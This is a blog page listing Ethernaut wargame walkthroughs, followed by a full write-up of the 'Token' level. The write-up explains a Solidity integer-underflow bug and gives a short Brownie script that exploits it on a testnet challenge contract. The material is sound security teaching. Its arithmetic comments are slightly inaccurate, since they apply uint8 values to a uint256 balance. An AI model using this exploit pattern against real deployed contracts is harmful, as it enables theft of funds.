Articles

Ethernaut - Level 07 - Force

Image courtesy of OpenZeppelin Ethernaut 07 - Force This level from Ethernaut, Force, provides us with an empty smart contract containing only some ASCII-art. The goal here is to send some ether to the contract using the selfdestruct() instruction. # Level 07 - Force ### Source Code // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/* MEOW ? /\\_/\\ / ____/ o o \\ /~____ =ΓΈ= / (______)__m_m) */} Before explaining why this smart contract is vulnerable, let’s get familiarized with the function selfdestruct().

Ethernaut - Level 06 - Delegation

Image courtesy of OpenZeppelin Ethernaut 06 - Delegation This level from Ethernaut, Delegation, is about a special Solidity method called delegatecall(). To complete this level, we must understand how this low level function works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate { address public owner; constructor(address _owner) public { owner = _owner; } function pwn() public { owner = msg.

Ethernaut - Level 05 - Token

Image courtesy of OpenZeppelin Ethernaut 05 - Token This level from Ethernaut, called Token, is a good exercise to become familiar with the integer underflow and integer overflow concepts. In this challenge you are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large number of tokens. // SPDX-License-Identifier: MIT pragma solidity ^0.

Ethernaut - Level 04 - Telephone

Image courtesy of OpenZeppelin Ethernaut 04 - Telephone This level from Ethernaut, called Telephone, is a good exercise to learn the nuances between tx.origin and msg.sender and why you should never use tx.origin for authentication purposes: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } Solidity has a global variable, tx.

Ethernaut - Level 03 - Coinflip

Image courtesy of OpenZeppelin Ethernaut 03 - Coinflip The third level in Ethernaut, CoinFlip, is a good exercise that will teach you how to exploit pseudo randomness implementations in smart contracts. This contract will require you to correctly guess the outcome of a coin flip ten times in a row: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.

Ethernaut Challenges

Please read This is a work in progress article that will receive updates as we continue publishing detailed walkthroughs for each level. Ethernaut is OpenZeppelin Web3/Solidity based wargame to learn about Ethereum smart contract security and become familiar with programming principles in Solidity. Although the game was launched few years ago it has become a good place to start for those who are interested on security and smart contracts. Challenges are currently running on the Rinkeby testnet and you will require to use a Rinkey Faucet to get free testnet ETH and test the smart contracts.

Ethernaut - Level 01 - Fallback

Image courtesy of OpenZeppelin Ethernaut 01 - Fallback The first level from Ethernaut is pretty straightforward and we will use it to become familiar with some Solidity concepts and the Brownie framework that we will use to complete this challenge. The code for the smart contract that we must exploit is shown above: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback { using SafeMath for uint256; mapping(address => uint) public contributions; address payable public owner; constructor() public { owner = msg.

Ethernaut - Level 02 - Fallout

Image courtesy of OpenZeppelin Ethernaut 02 - Fallout The goal for this level is to claim ownership of the contract, which has the following implementation: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.

Ethernaut - Level 05 - Token

September 15, 2022

Image courtesy of OpenZeppelin

Image courtesy of OpenZeppelin

Ethernaut 05 - Token

This level from Ethernaut, called Token, is a good exercise to become familiar with the integer underflow and integer overflow concepts. In this challenge you are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large number of tokens.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

As usual, lets start explaining some basic concepts before we dive deep into where is the vulnerability and how to exploit it.

The hint that we get for this challenge is to look up what an odometer is. At first it may not sound very clear to you but let’s briefly explain why odometers may be related with this vulnerable contract.

Odometers have been used for decades in the form of milage counters in cars or to measure the flow of electricity in units call kilowatt-hour. These meters have been replaced to digital ones, but back in the days they used to be analog and had a maximum of six digits that could count up to 999999. Once they reached its maximum value the counter would start over at the next available value of the odometer, which would be 000000. This behavior is what we would call in programming as overflow.

Now imagine the opposite, think for a moment that your odometer has reached the value 000000 and your flow of electricity is negative. As you may have thought already, the odometer would count backwards and go to the next available value possible, which would be 999999. That’s what we would call an underflow

For the sake of simplicity, lets translate these concepts into Solidity and assume we have an unsigned 8-bit integer (uint8) which cannot hold negative values and only holds 8 bits of data that can be either 0 or 1, meaning we have 2^8 or 256 possible values ranging from 0 to 255.

Visual representation for an integer overflow and underflow

Visual representation for an integer overflow and underflow

Based on this, when you attempt to make a uint8 negative, this will trigger an underflow and it will turn out to contain a high value instead. The opposite happens when you attempt to increment a uint8 that has 255 as value, triggering an overflow.

Where is the vulnerability?

Now that we have explained the basics on this type of vulnerability let’s see where the problem with this contract is.

As you may have figured out already, the vulnerability in this contract is in the transfer method, concretely in the require statement:

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0); // _value >= 21
    balances[msg.sender] -= _value; // 20 - 21 = 255
    balances[_to] += _value; // 0 + 21 = 21

We must provide a value that causes an integer underflow and the only way to achieve this is by providing a value higher than 20 *.

* Every time we create a new instance of this contract we will receive as player a total of 20 tokens

The require statement would pass only if the value obtained from balances[msg.sender] - _value is greater or equal to 0. As we have mentioned earlier in this post, if we attempt to make a uint8 variable negative, this will trigger an underflow and it will turn out to contain a high value instead. Based on this, it looks like the number 21 may help us achieve our purpose, as it will trigger an underflow (remember that we have been granted 20 tokens), setting our balance to 255.

Hacking the contract

The exploitation of this contract will be pretty straightforward and simple and it won’t require creating a malicious contract. Instead, we will simply create a new instance of the vulnerable contract and call the public method, transfer, as shown below:

from brownie import accounts, config, interface

def attack(token, hacker, fake_account):
    print(f'Balance before attack: {token.balanceOf(hacker)}')
    tx = token.transfer(fake_account, 21, {'from': hacker, 'allow_revert':True})
    tx.wait(2)
    print(f'Balance after attack: {token.balanceOf(hacker)}')

def main(target):
    token = interface.TokenInterface(target)
    hacker = accounts.add(config['wallets']['from_key'])
    fake_account = "0x00000000000000000000000000000000cafebabe"

    attack(token, hacker, fake_account)

Once we execute the script, the token.transfer call will start the attack by sending 21 tokens to the vulnerable contract, and therefore, causing the integer underflow and completing this challenge.

Takeaways

Although these vulnerabilities are no longer exploitable on recent versions of solidity (v.0.8.0) as underflow/overflow causes failing assertion by default, it is recommended to use vetted safe math libraries for arithmetic operations consistently throughout the smart contract system, such as openzeppelin’s SafeMath.